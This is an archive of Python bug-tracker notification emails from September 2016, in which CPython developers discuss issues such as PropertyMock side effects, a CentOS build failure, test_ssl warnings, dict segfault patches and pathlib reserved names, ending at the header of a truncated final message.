From report at bugs.python.org  Sun Sep 11 23:23:03 2016
From: report at bugs.python.org (Steve Kowalik)
Date: Mon, 12 Sep 2016 03:23:03 +0000
Subject: [issue21254] PropertyMock refuses to raise AttributeErrror as a side
 effect
In-Reply-To: <1397664917.5.0.84660783066.issue21254@psf.upfronthosting.co.za>
Message-ID: <1473650583.81.0.580666393455.issue21254@psf.upfronthosting.co.za>


Steve Kowalik added the comment:

This is in fact, working entirely as expected.

If we define a property that raises an AttributeError, then __getattr__() will be called, since the descriptor protocol says that an attribute error is a missing descriptor.

>>> class Foo(object):
...   def __getattr__(self, attr):
...     return 42
...   @property
...   def bacon(self):
...     print(1)
...     return int.lala
... 
>>> Foo().bacon
1
42

If we then follow a similar pattern using mock:

>>> from unittest import mock
>>> a_mock = mock.MagicMock()
>>> def foo():
...   print(1)
...   raise AttributeError()
... 
>>> no_attribute = mock.PropertyMock(side_effect=foo)
>>> type(a_mock).property = no_attribute
>>> a_mock.property
1
<MagicMock name='mock.property' id='139971099507232'>

You can see that the method is called, since we print one, but then what is going on is that MagicMock.__getattr__ is called, which has the behavior to return a new mock, like so:

>>> a_mock.b
<MagicMock name='mock.b' id='139971099646776'>

----------
nosy: +stevenk

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21254>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:25:05 2016
From: report at bugs.python.org (Robert Collins)
Date: Mon, 12 Sep 2016 03:25:05 +0000
Subject: [issue21254] PropertyMock refuses to raise AttributeErrror as a side
 effect
In-Reply-To: <1397664917.5.0.84660783066.issue21254@psf.upfronthosting.co.za>
Message-ID: <1473650705.15.0.697960104393.issue21254@psf.upfronthosting.co.za>


Robert Collins added the comment:

I could imagine doing some complex things to let you get at the AttributeError in this case but *not* when a different descriptor was added to type(a_mock), but I think it would confusing overall. This might be worth a doc tweak to cover it?

----------
stage: needs patch -> test needed
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21254>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:26:47 2016
From: report at bugs.python.org (Martin Panter)
Date: Mon, 12 Sep 2016 03:26:47 +0000
Subject: [issue28092] Build failure for 3.6 on Centos 5.11
In-Reply-To: <1473650219.02.0.385206047793.issue28092@psf.upfronthosting.co.za>
Message-ID: <1473650807.68.0.696125181929.issue28092@psf.upfronthosting.co.za>


Martin Panter added the comment:

This is like the OS X Tiger buildbot failure.
http://buildbot.python.org/all/builders/x86%20Tiger%203.x/builds/11323/steps/compile/logs/stdio
/usr/bin/ld: multiple definitions of symbol _PyDTrace_FUNCTION_ENTRY
Python/ceval.o definition of _PyDTrace_FUNCTION_ENTRY in section (__TEXT,__text)
Python/dtrace_stubs.o definition of _PyDTrace_FUNCTION_ENTRY in section (__TEXT,__text)

My stab in the dark is that the compiler (GCC?) being used is interpreting ?inline? functions differently to C99.

----------
nosy: +benjamin.peterson, martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28092>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:34:03 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 12 Sep 2016 03:34:03 +0000
Subject: [issue28093] ResourceWarning in test_ssl
Message-ID: <1473651242.99.0.55455406585.issue28093@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

I can consistently product a ResourceWarning when running test_ssl:

./python -m test test_ssl
Run tests sequentially
0:00:00 [1/1] test_ssl
Exception in thread Thread-81:
Traceback (most recent call last):
  File "/home/angwer/cpython/Lib/threading.py", line 916, in _bootstrap_inner
    self.run()
  File "/home/angwer/cpython/Lib/test/test_ssl.py", line 1924, in run
    if not self.wrap_conn():
  File "/home/angwer/cpython/Lib/test/test_ssl.py", line 1869, in wrap_conn
    self.sock, server_side=True)
  File "/home/angwer/cpython/Lib/ssl.py", line 401, in wrap_socket
    _context=self, _session=session)
  File "/home/angwer/cpython/Lib/ssl.py", line 764, in __init__
    raise ValueError("check_hostname requires server_hostname")
ValueError: check_hostname requires server_hostname

/home/angwer/cpython/Lib/threading.py:916: ResourceWarning: unclosed <socket.socket fd=5, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 34271), raddr=('127.0.0.1', 34156)>
  self.run()
1 test OK.

Total duration: 1 sec
Tests result: SUCCESS

----------
components: Tests
messages: 275940
nosy: christian.heimes, xiang.zhang
priority: normal
severity: normal
status: open
title: ResourceWarning in test_ssl
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28093>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:35:03 2016
From: report at bugs.python.org (Martin Panter)
Date: Mon, 12 Sep 2016 03:35:03 +0000
Subject: [issue28066] [Patch] Fix the ability to cross compile Python when
 doing a rebuild of importlib.h
In-Reply-To: <1473534121.66.0.287629200488.issue28066@psf.upfronthosting.co.za>
Message-ID: <1473651303.57.0.122228553439.issue28066@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.5, Python 3.6 -Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28066>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:38:35 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 03:38:35 +0000
Subject: [issue26557] dictviews methods not present on shelve objects
In-Reply-To: <1457954340.57.0.630883947605.issue26557@psf.upfronthosting.co.za>
Message-ID: <20160912033832.21157.50661.BE13B285@psf.io>


Roundup Robot added the comment:

New changeset 2b4bfef0d54a by Raymond Hettinger in branch '2.7':
Issue #26557:  Note that mapping view methods are not present in UserDict or shelves.
https://hg.python.org/cpython/rev/2b4bfef0d54a

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26557>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:38:47 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 12 Sep 2016 03:38:47 +0000
Subject: [issue26557] dictviews methods not present on shelve objects
In-Reply-To: <1457954340.57.0.630883947605.issue26557@psf.upfronthosting.co.za>
Message-ID: <1473651527.03.0.452461027536.issue26557@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26557>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:42:37 2016
From: report at bugs.python.org (Adrian Chan)
Date: Mon, 12 Sep 2016 03:42:37 +0000
Subject: [issue24780] unittest assertEqual difference output foiled by newlines
In-Reply-To: <1438534169.3.0.814109265012.issue24780@psf.upfronthosting.co.za>
Message-ID: <1473651757.2.0.708599644969.issue24780@psf.upfronthosting.co.za>


Adrian Chan added the comment:

Is this still being worked on? I have a potential fix for this.

----------
nosy: +adchanw

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24780>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:12:10 2016
From: report at bugs.python.org (Tom Clark)
Date: Mon, 12 Sep 2016 04:12:10 +0000
Subject: [issue28094] Document behaviour of Process.join() in multiprocessing
Message-ID: <1473653530.84.0.163889885928.issue28094@psf.upfronthosting.co.za>


New submission from Tom Clark:

#10673 indicated that the issue should be resolved by clarifying the documentation. The proposed patch is intended to do this.

----------
assignee: docs at python
components: Documentation
files: multiprocessing.patch
keywords: patch
messages: 275943
nosy: docs at python, tclark
priority: normal
severity: normal
status: open
title: Document behaviour of Process.join() in multiprocessing
type: enhancement
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44584/multiprocessing.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28094>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:14:07 2016
From: report at bugs.python.org (Tom Clark)
Date: Mon, 12 Sep 2016 04:14:07 +0000
Subject: [issue10673] multiprocess.Process join method - timeout
 indistinguishable from success
In-Reply-To: <1291991778.63.0.145134143934.issue10673@psf.upfronthosting.co.za>
Message-ID: <1473653647.79.0.759883059125.issue10673@psf.upfronthosting.co.za>


Tom Clark added the comment:

I've submitted a documentation patch with #28094.

----------
nosy: +tclark

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10673>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:14:30 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 04:14:30 +0000
Subject: [issue28095] test_startup_imports of test_site fails on OS X due to
 new import of enum in re
Message-ID: <1473653670.12.0.946485115884.issue28095@psf.upfronthosting.co.za>


New submission from Ned Deily:

Issue28082, for 3.6.0b1, modified the re module to use enum.IntFlag.  As described in Issue19325, on interpreter startup site.py imports sysconfig which, on OS X, imports _osx_support which imports, among other things, re.  Now that re imports enum, a number of collections modules are also imported at startup on OS X which can have a negative performance impact.  test_startup_imports of test_site was designed to catch situations like this ... and does.

For 3.6.0b1, I'm going to skip the failing part of the test on OS X only.  For 3.6.0b2, I'll plan to revive languishing Issue19325 to at least try to remove the usage of re and then re-enable the skipped test.

----------
assignee: ned.deily
components: Macintosh
messages: 275945
nosy: ned.deily, ronaldoussoren
priority: deferred blocker
severity: normal
stage: needs patch
status: open
title: test_startup_imports of test_site fails on OS X due to new import of enum in re
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28095>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:16:12 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 04:16:12 +0000
Subject: [issue28037] Use sqlite3_get_autocommit() instead of setting
 Connection->inTransaction manually
In-Reply-To: <1473401998.41.0.140269538481.issue28037@psf.upfronthosting.co.za>
Message-ID: <20160912041604.69669.1151.FB9074D9@psf.io>


Roundup Robot added the comment:

New changeset 80946f95e88a by Berker Peksag in branch 'default':
Issue #28037: Use sqlite3_get_autocommit() instead of setting Connection->inTransaction manually
https://hg.python.org/cpython/rev/80946f95e88a

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28037>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:17:06 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 12 Sep 2016 04:17:06 +0000
Subject: [issue28037] Use sqlite3_get_autocommit() instead of setting
 Connection->inTransaction manually
In-Reply-To: <1473401998.41.0.140269538481.issue28037@psf.upfronthosting.co.za>
Message-ID: <1473653826.56.0.269073039205.issue28037@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28037>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:20:33 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 12 Sep 2016 04:20:33 +0000
Subject: [issue28094] Document behaviour of Process.join() in multiprocessing
In-Reply-To: <1473653530.84.0.163889885928.issue28094@psf.upfronthosting.co.za>
Message-ID: <1473654033.14.0.245336712626.issue28094@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Hi Tom, thanks for the patch! Issue 10673 is still open, is there a reason not to attach your patch there?

----------
nosy: +berker.peksag

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28094>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:24:06 2016
From: report at bugs.python.org (Martin Panter)
Date: Mon, 12 Sep 2016 04:24:06 +0000
Subject: [issue15819] Unable to build Python out-of-tree when source tree
 is	readonly.
In-Reply-To: <1346309362.14.0.312540957077.issue15819@psf.upfronthosting.co.za>
Message-ID: <1473654246.15.0.531353190251.issue15819@psf.upfronthosting.co.za>


Martin Panter added the comment:

Matthias seems to have already applied his patch in Python 3.3 and 3.4+: revision f2cc3d8b88bb.

Roumen: Is your problem still relevant? If so, perhaps open a separate bug to elaborate.

Koobs: Is your problem with finding Python/Python-ast.c still relevant? Is the $(ASDLGEN) makefile rule being run? I tried building both Python 2 and 3 outside the source tree, with Gnu and BSD Make. In all cases, if I hack the timestamps to force $(ASDLGEN) to run and remove the original source Python/Python-ast.c, it is correctly generated and compiled in the build directory. If I hack the timestamps the other way so that $(ASDLGEN) is not run, the file from the source directory is compiled into the build directory. So everything seems to be working reasonably well.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15819>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:26:28 2016
From: report at bugs.python.org (Tom Clark)
Date: Mon, 12 Sep 2016 04:26:28 +0000
Subject: [issue28094] Document behaviour of Process.join() in multiprocessing
In-Reply-To: <1473653530.84.0.163889885928.issue28094@psf.upfronthosting.co.za>
Message-ID: <1473654388.68.0.330877548525.issue28094@psf.upfronthosting.co.za>


Tom Clark added the comment:

I thought that, since Issue <10673> refers to the library rather than the docs, it was better to create a seperate documentation issue.  In other words, I probably overthought it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28094>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:26:59 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 04:26:59 +0000
Subject: [issue28095] test_startup_imports of test_site fails on OS X due to
 new import of enum in re
In-Reply-To: <1473653670.12.0.946485115884.issue28095@psf.upfronthosting.co.za>
Message-ID: <20160912042656.21124.27569.69F923A4@psf.io>


Roundup Robot added the comment:

New changeset 9f0016055820 by Ned Deily in branch 'default':
Issue #28095: Temporarily disable part of test_startup_imports on OS X.
https://hg.python.org/cpython/rev/9f0016055820

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28095>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:27:58 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 04:27:58 +0000
Subject: [issue28095] test_startup_imports of test_site fails on OS X due to
 new import of enum in re
In-Reply-To: <1473653670.12.0.946485115884.issue28095@psf.upfronthosting.co.za>
Message-ID: <1473654478.73.0.314264278827.issue28095@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
dependencies: +_osx_support imports many modules

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28095>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:29:53 2016
From: report at bugs.python.org (Duane Griffin)
Date: Mon, 12 Sep 2016 04:29:53 +0000
Subject: [issue27945] Various segfaults with dict
In-Reply-To: <1472852008.61.0.354257945943.issue27945@psf.upfronthosting.co.za>
Message-ID: <1473654593.54.0.585176412601.issue27945@psf.upfronthosting.co.za>


Duane Griffin added the comment:

Ah, my first fix (for the fifth issue) was incomplete. Please see attached patch which I think correctly fixes the problem.

----------
Added file: http://bugs.python.org/file44585/0001-Issue-27945-fix-dictiter_iternextitem-use-after-free.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27945>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:29:56 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 12 Sep 2016 04:29:56 +0000
Subject: [issue28094] Document behaviour of Process.join() in multiprocessing
In-Reply-To: <1473653530.84.0.163889885928.issue28094@psf.upfronthosting.co.za>
Message-ID: <1473654596.51.0.16205423198.issue28094@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the explanation. We usually handle situations like this in the same issue so I'm closing this as a duplicate of issue 10673. Could you please attach your patch to issue 10673? Thanks!

----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> multiprocess.Process join method - timeout indistinguishable from success

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28094>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:30:24 2016
From: report at bugs.python.org (Duane Griffin)
Date: Mon, 12 Sep 2016 04:30:24 +0000
Subject: [issue27945] Various segfaults with dict
In-Reply-To: <1472852008.61.0.354257945943.issue27945@psf.upfronthosting.co.za>
Message-ID: <1473654624.23.0.102826731448.issue27945@psf.upfronthosting.co.za>


Changes by Duane Griffin <duaneg at dghda.com>:


Removed file: http://bugs.python.org/file44573/0001-Issue-27945-fix-dictiter_iternextitem-use-after-free.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27945>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:33:30 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 04:33:30 +0000
Subject: [issue28092] Build failure for 3.6 on Centos 5.11
In-Reply-To: <1473650219.02.0.385206047793.issue28092@psf.upfronthosting.co.za>
Message-ID: <1473654810.14.0.998391309836.issue28092@psf.upfronthosting.co.za>


Ned Deily added the comment:

(The OS X Tiger buildbot uses a version of GCC 4.0.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28092>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:34:00 2016
From: report at bugs.python.org (Tom Clark)
Date: Mon, 12 Sep 2016 04:34:00 +0000
Subject: [issue10673] multiprocess.Process join method - timeout
 indistinguishable from success
In-Reply-To: <1291991778.63.0.145134143934.issue10673@psf.upfronthosting.co.za>
Message-ID: <1473654840.08.0.104761990078.issue10673@psf.upfronthosting.co.za>


Tom Clark added the comment:

This patch is intended to document the behaviour of join(). (Originally submitted to #28094)

----------
Added file: http://bugs.python.org/file44586/multiprocessing.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10673>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:37:32 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 12 Sep 2016 04:37:32 +0000
Subject: [issue10673] multiprocess.Process join method - timeout
 indistinguishable from success
In-Reply-To: <1291991778.63.0.145134143934.issue10673@psf.upfronthosting.co.za>
Message-ID: <1473655052.92.0.322817926071.issue10673@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Tom's patch looks good to me. Davin, can you have a look at it?

----------
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10673>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:38:06 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 04:38:06 +0000
Subject: [issue27945] Various segfaults with dict
In-Reply-To: <1472852008.61.0.354257945943.issue27945@psf.upfronthosting.co.za>
Message-ID: <1473655086.27.0.484906025963.issue27945@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
assignee:  -> serhiy.storchaka
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27945>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:42:19 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 04:42:19 +0000
Subject: [issue28086] test.test_getargs2.TupleSubclass test failure
In-Reply-To: <1473633837.1.0.634614870367.issue28086@psf.upfronthosting.co.za>
Message-ID: <1473655339.1.0.786422007203.issue28086@psf.upfronthosting.co.za>


Ned Deily added the comment:

Serhiy, what do you think?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28086>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:46:43 2016
From: report at bugs.python.org (Tim Mitchell)
Date: Mon, 12 Sep 2016 04:46:43 +0000
Subject: [issue27945] Various segfaults with dict
In-Reply-To: <1472852008.61.0.354257945943.issue27945@psf.upfronthosting.co.za>
Message-ID: <1473655603.59.0.956816447016.issue27945@psf.upfronthosting.co.za>


Tim Mitchell added the comment:

Here is my patch for parts 3 and 4.
Core issue for part 4 appears to be dk_lookup calling arbitrary python code may free the key.
dk_lookup is also used in _PyDict_LoadGlobal not sure if this bug can occur here.

----------
nosy: +Tim Mitchell
Added file: http://bugs.python.org/file44587/0001-Issue-27945-Fixed-segfaults-in-dict.fromkeys-when-it.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27945>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:46:58 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 04:46:58 +0000
Subject: [issue28045] minor inaccuracy in range_contains_long
In-Reply-To: <1473441566.35.0.794224681084.issue28045@psf.upfronthosting.co.za>
Message-ID: <20160912044655.18872.2526.AA70EBD3@psf.io>


Roundup Robot added the comment:

New changeset 957084395042 by Berker Peksag in branch '3.5':
Issue #28045: Fix comment in range_contains_long()
https://hg.python.org/cpython/rev/957084395042

New changeset 924a64745168 by Berker Peksag in branch 'default':
Issue #28045: Merge from 3.5
https://hg.python.org/cpython/rev/924a64745168

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28045>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:48:02 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 12 Sep 2016 04:48:02 +0000
Subject: [issue28045] minor inaccuracy in range_contains_long
In-Reply-To: <1473441566.35.0.794224681084.issue28045@psf.upfronthosting.co.za>
Message-ID: <1473655682.3.0.103408105166.issue28045@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Good catch, thanks!

----------
nosy: +berker.peksag
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
type: enhancement -> behavior
versions:  -Python 2.7, Python 3.3, Python 3.4, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28045>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:59:56 2016
From: report at bugs.python.org (Duane Griffin)
Date: Mon, 12 Sep 2016 04:59:56 +0000
Subject: [issue27945] Various segfaults with dict
In-Reply-To: <1472852008.61.0.354257945943.issue27945@psf.upfronthosting.co.za>
Message-ID: <1473656396.31.0.21860991435.issue27945@psf.upfronthosting.co.za>


Duane Griffin added the comment:

Note that I think most or all of these issues apply to 2.7 and while I didn't do a proper check I think the fixes also apply.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27945>
_______________________________________

From report at bugs.python.org  Mon Sep 12 01:00:27 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 05:00:27 +0000
Subject: [issue28086] test.test_getargs2.TupleSubclass test failure
In-Reply-To: <1473633837.1.0.634614870367.issue28086@psf.upfronthosting.co.za>
Message-ID: <1473656427.8.0.0878513224895.issue28086@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thank you for making buildbots green Steve.

The intent of 51b635e81958 was avoiding needless copying. But this caused to leaking tuple subtype in case of single var-positional argument without other positional arguments. The intent of tests was checking that tuple subtype is not leaked to called function. There is a bug, but I need to find the place where tuple subtype should be converted to tuple without needless hitting performance.

----------
assignee:  -> serhiy.storchaka
components: +Interpreter Core
stage: commit review -> needs patch
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28086>
_______________________________________

From report at bugs.python.org  Mon Sep 12 01:02:38 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 05:02:38 +0000
Subject: [issue28071] Stop set.difference when set is empty
In-Reply-To: <1473546124.61.0.846799872363.issue28071@psf.upfronthosting.co.za>
Message-ID: <20160912050235.1755.76024.C6227225@psf.io>


Roundup Robot added the comment:

New changeset fa0af1a6344d by Raymond Hettinger in branch 'default':
Issue #28071: Add early-out for differencing from an empty set.
https://hg.python.org/cpython/rev/fa0af1a6344d

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28071>
_______________________________________

From report at bugs.python.org  Mon Sep 12 01:04:55 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 12 Sep 2016 05:04:55 +0000
Subject: [issue28071] Stop set.difference when set is empty
In-Reply-To: <1473546124.61.0.846799872363.issue28071@psf.upfronthosting.co.za>
Message-ID: <1473656695.06.0.861349078748.issue28071@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28071>
_______________________________________

From report at bugs.python.org  Mon Sep 12 01:08:19 2016
From: report at bugs.python.org (R. David Murray)
Date: Mon, 12 Sep 2016 05:08:19 +0000
Subject: [issue25235] EmailMessage.add_attachment() creates parts with
 spurious MIME-Version header.
In-Reply-To: <1443210448.87.0.407287169878.issue25235@psf.upfronthosting.co.za>
Message-ID: <1473656898.99.0.173724012009.issue25235@psf.upfronthosting.co.za>


R. David Murray added the comment:

Hmm.  Only doing it in the output is an interesting idea.  It's a bit ugly to implement, but doable.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25235>
_______________________________________

From report at bugs.python.org  Mon Sep 12 01:08:37 2016
From: report at bugs.python.org (Eryk Sun)
Date: Mon, 12 Sep 2016 05:08:37 +0000
Subject: [issue27827] pathlib is_reserved fails for some reserved paths on
 Windows
In-Reply-To: <1471858428.08.0.847859442583.issue27827@psf.upfronthosting.co.za>
Message-ID: <1473656917.54.0.609329430515.issue27827@psf.upfronthosting.co.za>


Eryk Sun added the comment:

The attached patch adds tests and the suggested enhancement to _WindowsFlavour.is_reserved. 

Shouldn't it also return True if the name contains ASCII control characters? They're only valid in NTFS stream names. Also, I think a name containing a colon that's not part of a DOS drive letter spec should be considered reserved. Otherwise it could designate an NTFS named stream (e.g. "path\filename:streamname:$DATA"), which is rarely desired and not universally supported, e.g. FAT32 doesn't support file streams. I'm thinking of a program that calls this method to ensure that a path is reasonably 'safe' for use on Windows -- i.e. isn't inherently invalid and won't do something surprising like open NUL or write to a named stream.

----------
keywords: +patch
Added file: http://bugs.python.org/file44588/issue_27827_01.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27827>
_______________________________________

From report at bugs.python.org  Mon Sep 12 01:15:15 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 12 Sep 2016 05:15:15 +0000
Subject: [issue28071] Stop set.difference when set is empty
In-Reply-To: <1473546124.61.0.846799872363.issue28071@psf.upfronthosting.co.za>
Message-ID: <1473657315.5.0.795232589368.issue28071@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

The patch covers sets that start empty, but not sets that become empty during iteration.  Are you thinking about or rejecting the latter?  (And should this then be closed?)

----------
resolution: fixed -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28071>
_______________________________________

From report at bugs.python.org  Mon Sep 12 01:20:06 2016
From: report at bugs.python.org (R. David Murray)
Date: Mon, 12 Sep 2016 05:20:06 +0000
Subject: [issue28092] Build failure for 3.6 on Centos 5.11
In-Reply-To: <1473650219.02.0.385206047793.issue28092@psf.upfronthosting.co.za>
Message-ID: <1473657606.93.0.597315219357.issue28092@psf.upfronthosting.co.za>


Changes by R. David Murray <rdmurray at bitdance.com>:


----------
nosy: +lukasz.langa

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28092>
_______________________________________

From report at bugs.python.org  Mon Sep 12 01:31:37 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 05:31:37 +0000
Subject: [issue28071] Stop set.difference when set is empty
In-Reply-To: <1473546124.61.0.846799872363.issue28071@psf.upfronthosting.co.za>
Message-ID: <1473658297.36.0.393854843093.issue28071@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28071>
_______________________________________

From report at bugs.python.org  Mon Sep 12 01:38:05 2016
From: report at bugs.python.org (Martin Panter)
Date: Mon, 12 Sep 2016 05:38:05 +0000
Subject: [issue28092] Build failure for 3.6 on Centos 5.11
In-Reply-To: <1473650219.02.0.385206047793.issue28092@psf.upfronthosting.co.za>
Message-ID: <1473658685.1.0.741458809004.issue28092@psf.upfronthosting.co.za>


Martin Panter added the comment:

Benjamin changed PEP 7 to allow static inline functions directly in Python 3.6. But later he added program-wide, linkable inline functions in the Python 3.6 code:

2f77a9f0b9d6: add plain ?inline? to header file
63ae310b60ff: add ?extern inline? stubs in a new file

It seems GCC does not support the C99 syntax for these kind of linkable inline functions until 4.3. Some possible fixes or workarounds:

1. Revert the offending functions back to macros

2. Clarify in PEP 7 that we intentionally use linkable C99 (extern) inline functions, therefore compilers like Steven?s and the buildbot?s aren?t supported for 3.6

3. Add some preprocessor magic based on __GNUC_STDC_INLINE__ to detect when the GCC 4.0 reversed meanings of ?inline? and ?extern inline? have to be used.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28092>
_______________________________________

From report at bugs.python.org  Mon Sep 12 01:43:41 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 12 Sep 2016 05:43:41 +0000
Subject: [issue28071] Stop set.difference when set is empty
In-Reply-To: <1473546124.61.0.846799872363.issue28071@psf.upfronthosting.co.za>
Message-ID: <1473659021.34.0.541339750516.issue28071@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

I only want a single quick check upfront.  It doesn't make much sense to put this in the inner loop.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28071>
_______________________________________

From report at bugs.python.org  Mon Sep 12 01:57:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 05:57:44 +0000
Subject: [issue15308] IDLE - add an "Interrupt Execution" to shell menu
